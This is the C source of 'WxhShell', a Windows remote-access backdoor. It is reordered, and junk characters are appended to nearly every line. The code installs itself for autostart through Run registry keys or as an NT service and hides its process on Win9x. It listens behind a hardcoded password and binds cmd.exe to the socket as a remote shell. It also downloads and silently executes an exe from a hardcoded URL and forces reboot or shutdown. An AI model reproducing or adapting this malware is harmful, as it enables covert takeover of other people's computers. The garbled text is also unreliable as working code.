    if(Boot(SHUTDOWN)) 1'"TO5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5isqBu  
    else { ?,0 a#lG  
    closesocket(wsh); %$ CV?K$C  
    ExitThread(0); cHjnuL0fsy  
    } q aZQ1<e  
    break; p]erk  
    } $Cx?%X^b  
  // 获取shell Gj H$!P=.  
  case 's': { Ny2. C?2  
    CmdShell(wsh); ni`uO<\U  
    closesocket(wsh); {ZIEIXWb2  
    ExitThread(0); >#~>!cv6D  
    break; YwnYTt  
  } I$HO[Z!  
  // 退出 g?i0WS  
  case 'x': { "9bd;Tt:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vkE a[7  
    CloseIt(wsh); GW;O35 m  
    break; #4BwYj(Sl  
    } Sahz*f  
  // 离开 e-Ma8+X\  
  case 'q': { iininITOS{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hx#1TqC /  
    closesocket(wsh); ;Qq<5I"y  
    WSACleanup(); m;@8z[ ^5  
    exit(1); f1,VbuS9I  
    break; BOdd~f%&tn  
        } OD;F{Hc  
  }  xh|<`>5  
  } &UfP8GE9  
RBOg;EJ  
  // 提示信息 ]wm<$+@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;nbV-<e  
} (utk)  
  } g?E8zf `  
Q"F" 13  
  return; 8]j*z n?,  
} 3}kG ]#  
IF'Tj`yD  
// shell模块句柄 l#bE_PD;  
int CmdShell(SOCKET sock) IC6r?  
{ +*L<"@  
STARTUPINFO si; k$3Iv"gbx  
ZeroMemory(&si,sizeof(si)); '|J~2rbyr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tg6iHFa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9oQ$w?=#$  
PROCESS_INFORMATION ProcessInfo; PT39VI =  
char cmdline[]="cmd"; )0?u_Z]w9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >0E3Em<(}l  
  return 0; _|VF^\i  
} s a{x.2/o}  
<N{Y*,^z  
// 自身启动模式 }?^]-`b  
int StartFromService(void) u5N&Wn{  
{ pc2;2^U_  
typedef struct -BcnJK0  
{ {R8)DK  
  DWORD ExitStatus;  OEnCN  
  DWORD PebBaseAddress; I/* ULR,  
  DWORD AffinityMask; *BHp?cn;F2  
  DWORD BasePriority; 08G${@D+X0  
  ULONG UniqueProcessId; U(/8dCyyY  
  ULONG InheritedFromUniqueProcessId; V@o#" gZ  
}   PROCESS_BASIC_INFORMATION; {5 Sy=Y  
fUq:`#Q  
PROCNTQSIP NtQueryInformationProcess; Zk~~`h  
3HqTVq`&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pv8vW'G\E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8_/,`}9   
;a 6Z=LB  
  HANDLE             hProcess; [*U.bRs  
  PROCESS_BASIC_INFORMATION pbi; 46U*70  
RQYD#4|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o1R:1!"2  
  if(NULL == hInst ) return 0; c2Wp 8l  
MSE0z !t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &} r-C97  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qs {wrem  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >|aVGY  
KAg-M#  
  if (!NtQueryInformationProcess) return 0; 9AJ"C7  
K57u87=*X?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MU:q`DRr  
  if(!hProcess) return 0; i}5M'~ F  
apjoIO-<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hc*tQ2  
2Mu@P8O&  
  CloseHandle(hProcess); K-[;w$np0  
|7QSr!{_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~S\,  
if(hProcess==NULL) return 0; B`)TRt+'.  
\aN7[>R.Q  
HMODULE hMod; F^.~37= @  
char procName[255]; HCT+.n6  
unsigned long cbNeeded; u#UtPF7q  
.uSVZqJ7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _rg*K  
?[;>1+D  
  CloseHandle(hProcess);  De2$:?  
w=FU:q/  
if(strstr(procName,"services")) return 1; // 以服务启动 o8Yq3N+  
G > t  
  return 0; // 注册表启动 1zgM$p  
} ;3XOk+  
6)c-s|#  
// 主模块 re4A5Ev$  
int StartWxhshell(LPSTR lpCmdLine) $18?Q+?3  
{ "}vxHN#  
  SOCKET wsl; 4~1lP&  
BOOL val=TRUE; 6^lix9q7  
  int port=0; 0?cJ>)N  
  struct sockaddr_in door; $,B;\PX  
q07H{{h/B  
  if(wscfg.ws_autoins) Install(); i*r ag0Mw  
Z*Rg ik  
port=atoi(lpCmdLine); N:;z~`  
.03Rp5+v  
if(port<=0) port=wscfg.ws_port; tUt_Q;%yC  
p3>Md?e  
  WSADATA data; D#A6s32a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TKQ^D  
bFSs{\zE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^B1$|C D,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }0?XF/e(R  
  door.sin_family = AF_INET; |w+ O.%=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rZWs-]s6t  
  door.sin_port = htons(port); Ckc5;:b&m  
f!H/X%F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H%>^_:h  
closesocket(wsl); Lrmhr3 w5  
return 1; `"o{MaFA  
} *Nfot v  
=WHI/|&  
  if(listen(wsl,2) == INVALID_SOCKET) { X`J86G)  
closesocket(wsl); t1NGs-S3  
return 1; G;d3.ml/aZ  
} ~nb(e$?N  
  Wxhshell(wsl); m2P&DdN[  
  WSACleanup(); $f%om)  
'rTJ*1i  
return 0; GaV}@Q  
hxMV?\MYj  
} |>OBpb  
x4(8 =&Z  
// 以NT服务方式启动 tfD7!N{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v^)B [e!  
{ UB+7]S  
DWORD   status = 0; 4oL .Bt  
  DWORD   specificError = 0xfffffff; OL%}C*Zq  
4H NaE{O4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B]vR=F}*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *;xGH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3@:O1i  
  serviceStatus.dwWin32ExitCode     = 0; MkhD*\D /  
  serviceStatus.dwServiceSpecificExitCode = 0; )+DDIq  
  serviceStatus.dwCheckPoint       = 0; w!z* ?k=Da  
  serviceStatus.dwWaitHint       = 0; X%iJPJLza  
K7@|2;e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JPHM+3v  
  if (hServiceStatusHandle==0) return; evpy%/D  
uGF{0 )0g  
status = GetLastError(); t2YB(6w+xg  
  if (status!=NO_ERROR) gVe]?Jva`  
{ E-($Xc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T "hjL  
    serviceStatus.dwCheckPoint       = 0; wph8ln"C-  
    serviceStatus.dwWaitHint       = 0; ;mRZ_^V;  
    serviceStatus.dwWin32ExitCode     = status; oe|8  
    serviceStatus.dwServiceSpecificExitCode = specificError; b(CO7/e>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xcn~KF8  
    return; &]GR*a  
  } w/"vf3}(9  
\.}ZvM$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GzBPI'C  
  serviceStatus.dwCheckPoint       = 0; _RbM'_y+E  
  serviceStatus.dwWaitHint       = 0; 3l,-n|x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^#Mp@HK  
} a+\<2NXYD  
5 ba e-  
// 处理NT服务事件,比如:启动、停止 (z.n9lkfi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c9o]w8p/  
{ \uZ|2WG`  
switch(fdwControl) 8|<</v8i  
{ =[&+R9s  
case SERVICE_CONTROL_STOP: 6)*B%$?x  
  serviceStatus.dwWin32ExitCode = 0; _ E-\aS{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =.&8ghJ*M  
  serviceStatus.dwCheckPoint   = 0; K *{RGE  
  serviceStatus.dwWaitHint     = 0; I>JE\## ^n  
  { rsLkH&aM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PH%'^YAl7  
  } #ACT&J  
  return; sW'_K.z  
case SERVICE_CONTROL_PAUSE: [7d(P EQL`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *9uNM@7&0  
  break; d(TN(6g@  
case SERVICE_CONTROL_CONTINUE: J*MH`;-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a/J Mg   
  break; 0nL #-`S  
case SERVICE_CONTROL_INTERROGATE: Yj*T'<e  
  break; ~CbiKez  
}; ^<-)rzTI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ep?D;g  
} U._fb=  
D)?%kNeA  
// 标准应用程序主函数 8h }a:/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @TD=or .&  
{ O39   
s~2o<#  
// 获取操作系统版本 7<*0fy5nn  
OsIsNt=GetOsVer(); _z8"r&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VFx[{Hy  
li v=q  
  // 从命令行安装 CHZ/@gc  
  if(strpbrk(lpCmdLine,"iI")) Install(); <5}I6R;  
H#D:'B j29  
  // 下载执行文件 ,zr9*t  
if(wscfg.ws_downexe) { :9ia|lN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HR"clD\{Di  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]u!s-=3s  
} ZJU %&@  
sS;)d  
if(!OsIsNt) { k}qQG}hB  
// 如果时win9x,隐藏进程并且设置为注册表启动 1.k=ji$D0  
HideProc(); |9\i+)C  
StartWxhshell(lpCmdLine); k ,ldi  
} G+Z ,i c  
else ,Yx<"2 W  
  if(StartFromService()) #b;k+<n[X  
  // 以服务方式启动 =X^a  
  StartServiceCtrlDispatcher(DispatchTable); _u^3uzu  
else |h 6!bt!=  
  // 普通方式启动 vA!IcDP"  
  StartWxhshell(lpCmdLine); :Ae#+([V  
`^[Tu 1  
return 0; {<@ud0A:\  
} .\T!oSb4[  
W_E^+Wl@  
v]EZYEXFL)  
$Wj{B@k  
=========================================== _AX,}9  
3N- '{c6]U  
_s#]WyU1g  
)Sb-e(sl  
<mlN\BcX;  
l+>Y  
" !;h&@LXG(  
2 G2+oS ?  
#include <stdio.h> \A01 1R&  
#include <string.h> VBPtM{ g  
#include <windows.h>  f_n  
#include <winsock2.h> ]r3/hDRDL@  
#include <winsvc.h> Qs za,09  
#include <urlmon.h> Y:O|6%00Y  
%a WRXW@c  
#pragma comment (lib, "Ws2_32.lib") K mH))LIv  
#pragma comment (lib, "urlmon.lib") 9xz@2b@  
W)bSLD   
#define MAX_USER   100 // 最大客户端连接数 f3G:J<cL  
#define BUF_SOCK   200 // sock buffer BKtb@o~(  
#define KEY_BUFF   255 // 输入 buffer {[tmz;C  
yP# Y:s  
#define REBOOT     0   // 重启 .U=x2txb  
#define SHUTDOWN   1   // 关机 @(35I  
\By_mw  
#define DEF_PORT   5000 // 监听端口 mY/"rm  
Q"~%T@e  
#define REG_LEN     16   // 注册表键长度 oF>`>  
#define SVC_LEN     80   // NT服务名长度 Z81;Y=(  
9/e>%1.  
// 从dll定义API  c`\/]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]tT=jN&(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y[85eM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4V4S5V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @@K/0:],  
Vdx o  
// wxhshell配置信息 `r-Jy{!y4  
struct WSCFG { v JGH8$%;,  
  int ws_port;         // 监听端口 anpKW a  
  char ws_passstr[REG_LEN]; // 口令 g$#A'Du  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~mt{j7  
  char ws_regname[REG_LEN]; // 注册表键名 $Z]@N nA9N  
  char ws_svcname[REG_LEN]; // 服务名 [ !#Dba#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D!Y@Og.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?M&@# lbG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c8[kL$b;j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sV2D:%\K:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9#P~cW?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y7:f^4  
n.8870.BW  
}; ejyx[CF  
9q$^x/z!  
// default Wxhshell configuration I*Dj@f`  
struct WSCFG wscfg={DEF_PORT, As>Og  
    "xuhuanlingzhe", 8CRbo24"s  
    1, [zN*P$U]  
    "Wxhshell", us?q^>u  
    "Wxhshell", DoFe:+_U3  
            "WxhShell Service", Z]Ud x  
    "Wrsky Windows CmdShell Service", *,CJ 3< >  
    "Please Input Your Password: ", )@I] Rk?  
  1, +C7E]0!r  
  "http://www.wrsky.com/wxhshell.exe", pXlqE,  
  "Wxhshell.exe" TA/hj>rV  
    }; b3[[ Ah-  
[Z2[Iy  
// 消息定义模块 \^9n&MonM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } %?or_f/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o96c`a u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N".BC|r  
char *msg_ws_ext="\n\rExit."; U W8yu.`?  
char *msg_ws_end="\n\rQuit."; u;H^4} OQ  
char *msg_ws_boot="\n\rReboot..."; !y~nsy:&7x  
char *msg_ws_poff="\n\rShutdown..."; * bYU=RS  
char *msg_ws_down="\n\rSave to "; 2>^(&95M  
wM N;<  
char *msg_ws_err="\n\rErr!"; CQ.C{  
char *msg_ws_ok="\n\rOK!"; e8dZR3JL  
?'a>?al%>  
char ExeFile[MAX_PATH]; u(8{5"C  
int nUser = 0; <)a$5"AP  
HANDLE handles[MAX_USER]; km9#lK  
int OsIsNt; 7K.],eo0  
hy;V~J#  
SERVICE_STATUS       serviceStatus; kZG; \  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h>*3i#  
3GKKC9C6  
// 函数声明 k3t]lG p  
int Install(void); Ih.)iTs~%  
int Uninstall(void); bcwb'D\a  
int DownloadFile(char *sURL, SOCKET wsh); c-&Q_lB  
int Boot(int flag); W&cs&>F#  
void HideProc(void); n_]B5U  
int GetOsVer(void); qvo!nr7  
int Wxhshell(SOCKET wsl); HxW/t7Z(  
void TalkWithClient(void *cs); l lcq~*zz  
int CmdShell(SOCKET sock); Nb3O> &J  
int StartFromService(void); x?B`p"ifS  
int StartWxhshell(LPSTR lpCmdLine); rp<~=X  
G7`mK}J7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J5jI/P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8r"-3<*  
w/ZP. B  
// 数据结构和表定义 r*mSnPz\q  
SERVICE_TABLE_ENTRY DispatchTable[] = YKU|D32  
{ $-pijBiz_  
{wscfg.ws_svcname, NTServiceMain}, x 2&5zp  
{NULL, NULL} +924_,zF  
}; "2-D[rYZ  
2^`k6V!  
// 自我安装 ._j?1Fw`  
int Install(void) "AXgT[ O  
{ >)NS U  
  char svExeFile[MAX_PATH]; 2f%+1uU  
  HKEY key; O>vCi&  
  strcpy(svExeFile,ExeFile); Hp ;$fQ  
ucz~y! 4L{  
// 如果是win9x系统,修改注册表设为自启动 vJi<PQ6  
if(!OsIsNt) { A =Z$H2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ztHx) !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }BT0dKx  
  RegCloseKey(key); 0/|Ax-dK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sl@>GbnS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4HZXv\$  
  RegCloseKey(key); 2 #yDVN$  
  return 0; N$t<&5 +  
    } 1'p=yHw  
  } ]G8"\J4 &  
} u' kG(<0Y  
else { B0Z>di:  
wE<r'  
// 如果是NT以上系统,安装为系统服务 [+W<;iep  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X-" +nThMn  
if (schSCManager!=0) #/H2p`5  
{ ~;]zEq-hG  
  SC_HANDLE schService = CreateService TUwX4X6m  
  ( N8kNi4$mp=  
  schSCManager, V'dw=W17V  
  wscfg.ws_svcname, m##!sF^k~J  
  wscfg.ws_svcdisp, KrG,T5  
  SERVICE_ALL_ACCESS, NhTJB7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >iG3!Td)y  
  SERVICE_AUTO_START, -@]b7J?`k  
  SERVICE_ERROR_NORMAL, $.w$x1  
  svExeFile, ]LxE#R5V  
  NULL, ..BP-N)V)  
  NULL, j$s/YI:  
  NULL, j$ lf>.[I  
  NULL, WPpO(@sn  
  NULL f<rn't{  
  ); 9Qu(RbDqC  
  if (schService!=0) =<PEvIn  
  { s3@mk\?qMe  
  CloseServiceHandle(schService); FVL{KNW~i  
  CloseServiceHandle(schSCManager); E8nj_ ^Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x3U>5F@  
  strcat(svExeFile,wscfg.ws_svcname); :/$_eg0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <ty]z!B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gxUa -R  
  RegCloseKey(key); 'xnI N u  
  return 0; 7p!ROl^  
    } `J03t\  
  } H n]( )/  
  CloseServiceHandle(schSCManager); ?tqJkL#  
} uF}B:53A  
} za 7+xF  
I][&*V1  
return 1; !J@!2S 9  
} 5#X R1#`  
b]xoXC6@t  
// 自我卸载 KkpbZ7\@  
int Uninstall(void) >O rIY  
{ zv;xxAX  
  HKEY key; [N9yW uc  
0&CXR=U5  
if(!OsIsNt) { zv/dj04>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]s)Y">6  
  RegDeleteValue(key,wscfg.ws_regname); oqbz!dM(Z  
  RegCloseKey(key); f2M*]{N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0m> 8  
  RegDeleteValue(key,wscfg.ws_regname); ]i0=3H2  
  RegCloseKey(key); U~?mW,iRL  
  return 0; 6=,zkU*i ^  
  } zd!%7 UP  
} xb0,dZb  
} #%E^cGfY  
else {  !j%  
P?|\Ig1Gk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gzat!>*  
if (schSCManager!=0) , #GB  
{ "zXrfn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d2gYB qag  
  if (schService!=0) rMjb,2*rC7  
  { kF,ME5%  
  if(DeleteService(schService)!=0) { /)K;XtcN  
  CloseServiceHandle(schService); I 2OQ  
  CloseServiceHandle(schSCManager); 5cU:wc  
  return 0; Rcw[`q3/  
  } 's5rl  
  CloseServiceHandle(schService); ~QPTs1Vk8  
  } B B69U  
  CloseServiceHandle(schSCManager); gdqBT]j  
} EH M59s|B  
} }#4Ek8nFR  
cjg~?R  
return 1; P,-5af*;  
} 8>x' . 8  
L1g0Dd\Ox  
// 从指定url下载文件 bE2O[B  
int DownloadFile(char *sURL, SOCKET wsh) R'>@ja*  
{ \SO)|M>.a  
  HRESULT hr; Lr8|S  
char seps[]= "/"; (>x05nh  
char *token; :KXI@)M  
char *file; , u%V%  
char myURL[MAX_PATH]; }KIS_krs  
char myFILE[MAX_PATH]; ]sVWQj  
I"lzOD; eI  
strcpy(myURL,sURL); aTeW#:m  
  token=strtok(myURL,seps); @0t[7Nv-1  
  while(token!=NULL) X?< L<:.  
  { "cBqZzkk9j  
    file=token; @b^$h:H  
  token=strtok(NULL,seps); 4L{]!dox  
  } > 3(,s^  
gg%)#0Zi  
GetCurrentDirectory(MAX_PATH,myFILE); oZ tCx  
strcat(myFILE, "\\"); whHuV*K}  
strcat(myFILE, file); f>ktv76  
  send(wsh,myFILE,strlen(myFILE),0); n4+q7  
send(wsh,"...",3,0); U{[YCs fk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vZ srlHb  
  if(hr==S_OK) {}Is&^3Z  
return 0; aD'Ax\-  
else #rBfp|b]1  
return 1;  ^QJJ2jZ  
+s8R]3NJ_H  
} Xfqin4/jC  
Z~-N'Lt{  
// 系统电源模块 GtZ.' ?-  
int Boot(int flag) 1%N*GJlwJ  
{ 'OP0#`6`  
  HANDLE hToken; 4Nt4(3Kf  
  TOKEN_PRIVILEGES tkp; V!^0E.?a  
."B{U_P&  
  if(OsIsNt) { ZOa|lB (,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `#`jU"T|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X~"p]V_  
    tkp.PrivilegeCount = 1; c6c@ Xd V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o}/|"(K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ma$~B0!;s  
if(flag==REBOOT) { l*&N<Yu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "qR, V9\  
  return 0; {GnZ@Q:F  
} q jc4IW t~  
else { MO7R3PP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $m*Gu:#xm&  
  return 0; GCO: !,1  
} NjEi.]L*fX  
  } xYYa%PhIC  
  else { ?0* [ L  
if(flag==REBOOT) { C:5d/9k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K#X/j'$^  
  return 0; v)_FiY QQ6  
} ?(d1;/0v>  
else { \$Wpt#V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '=Lpch2J  
  return 0; *kqC^2t  
} t? 6 et1~  
} >jIn&s!}  
_&S#;ni\c  
return 1; FibZT1-k  
} Rky]F+J  
V8B4e4F  
// win9x进程隐藏模块 -6NoEmb)\'  
void HideProc(void) ZM v\j|{8  
{ vVa|E# [  
5~IdWwG*w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m<>BxX  
  if ( hKernel != NULL ) P,'%$DLDg  
  { _\tv ${  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (,QWK08  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !\BZ_guz  
    FreeLibrary(hKernel); YJ"D"QD  
  } JVy|SA&R  
0<~~0US  
return; ?-mOAHW0q  
} \ DZ.#=d  
MSvZ3[5Io  
// 获取操作系统版本 s*yl& El/  
int GetOsVer(void) +#BOWz  
{ ^ `Ozw^~  
  OSVERSIONINFO winfo; fpo{`;&F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GVnDN~[  
  GetVersionEx(&winfo); 3lpxh_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~:T@SrVI  
  return 1; 2m yxwA5  
  else eeCG#NFY5  
  return 0; wv{ Qx^  
} Z*mbhod  
&Q?@VN i  
// 客户端句柄模块 =r ^_D=  
int Wxhshell(SOCKET wsl) @g5y_G{SP  
{ Z8xB a0  
  SOCKET wsh; 1s=Q~*f~d  
  struct sockaddr_in client; =cjO]  
  DWORD myID; |JYb4J4Ni  
Jk\-e`eE  
  while(nUser<MAX_USER) IV. })8  
{ Sf*v#?  
  int nSize=sizeof(client); -]zb3P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UcQ]n0J=Z  
  if(wsh==INVALID_SOCKET) return 1; <nbk lo  
pz['o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e c]kt'  
if(handles[nUser]==0) ;NRh0)%|o  
  closesocket(wsh); %CiF;wJ  
else %w65)BFQ  
  nUser++; 5>f"  
  } 2n@`O g_0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \~%+)a%%  
$Xlr@)%  
  return 0; W$zRUG-  
} +8//mrL_/  
^{MqJ\S7H  
// 关闭 socket /&#y-D_  
void CloseIt(SOCKET wsh) z f SE7i0  
{ X<;.  
closesocket(wsh); "PI;/(kR  
nUser--; 3i!a\N4 K  
ExitThread(0); SQcic]Ep  
} X13+n2^8]  
)9yQ C  
// 客户端请求句柄 [6mK<A,/  
void TalkWithClient(void *cs) R'c dEoy  
{ x7zc3%T's  
~+4lmslR  
  SOCKET wsh=(SOCKET)cs; d5gwc5X  
  char pwd[SVC_LEN]; N+c|0  
  char cmd[KEY_BUFF]; c%doNY9Q  
char chr[1]; O pu*i  
int i,j; ; D<k  
Y0,{fw<  
  while (nUser < MAX_USER) { ]C,j80+pK  
_D4qnb@  
if(wscfg.ws_passstr) { 3pWav 1"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WS n>P7sY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |(%<FY$  
  //ZeroMemory(pwd,KEY_BUFF); _1gNU]"  
      i=0; j.Uy>ol  
  while(i<SVC_LEN) { #1J ,!seJ  
IwnDG;+Ap  
  // 设置超时 fs#9~b3  
  fd_set FdRead; [IOI&`?D  
  struct timeval TimeOut; TzaeE  
  FD_ZERO(&FdRead); 5CK\Z'c~!  
  FD_SET(wsh,&FdRead); wGLMLbj5  
  TimeOut.tv_sec=8; G>vK$W$f N  
  TimeOut.tv_usec=0; rogy`mh\r2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G]aey>)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V"4L=[le  
p4z4[=-:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $;Fx Zkp  
  pwd=chr[0]; Jp"29 )w  
  if(chr[0]==0xd || chr[0]==0xa) { J8Wits]A]$  
  pwd=0; _=I1  
  break; G$Mf(S'f  
  } `"CA$Se8  
  i++; QYo04`Rl  
    } k5-4^  
Nut&g"u2  
  // 如果是非法用户,关闭 socket h!SsIy(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pl r@  
} Gz{%Z$A~o  
kB@gy}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lm}.+.O~d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?=Ceo#Er  
-b!Z(}JK  
while(1) { ^)]U5+g?  
F,S)P`?  
  ZeroMemory(cmd,KEY_BUFF); u=nd7:bv  
K.QSt  
      // 自动支持客户端 telnet标准   zl8M<z1`1  
  j=0; Ti)Me-g  
  while(j<KEY_BUFF) { 5?H8?~&dz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z# &1>  
  cmd[j]=chr[0]; b EcN_7  
  if(chr[0]==0xa || chr[0]==0xd) { *ilh/Hd>  
  cmd[j]=0; )I*(yUj  
  break; eV}"L:bgJ  
  } B \R X  
  j++; ShC$ue?Q  
    } k^ZP~.G  
ktfm  
  // 下载文件 .:&`PaMt  
  if(strstr(cmd,"http://")) { ep"{{S5g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tco G;ir  
  if(DownloadFile(cmd,wsh)) $`GlXiV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *CXc{{  
  else LGuZp?"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }h Wv  p  
  } kF^4kCJ@  
  else { X7-*`NI^  
A"pQOtrm\k  
    switch(cmd[0]) { _Vp"G)1Y  
  *y?6m,38V  
  // 帮助 0^S$_L  
  case '?': { DcBAncsK  
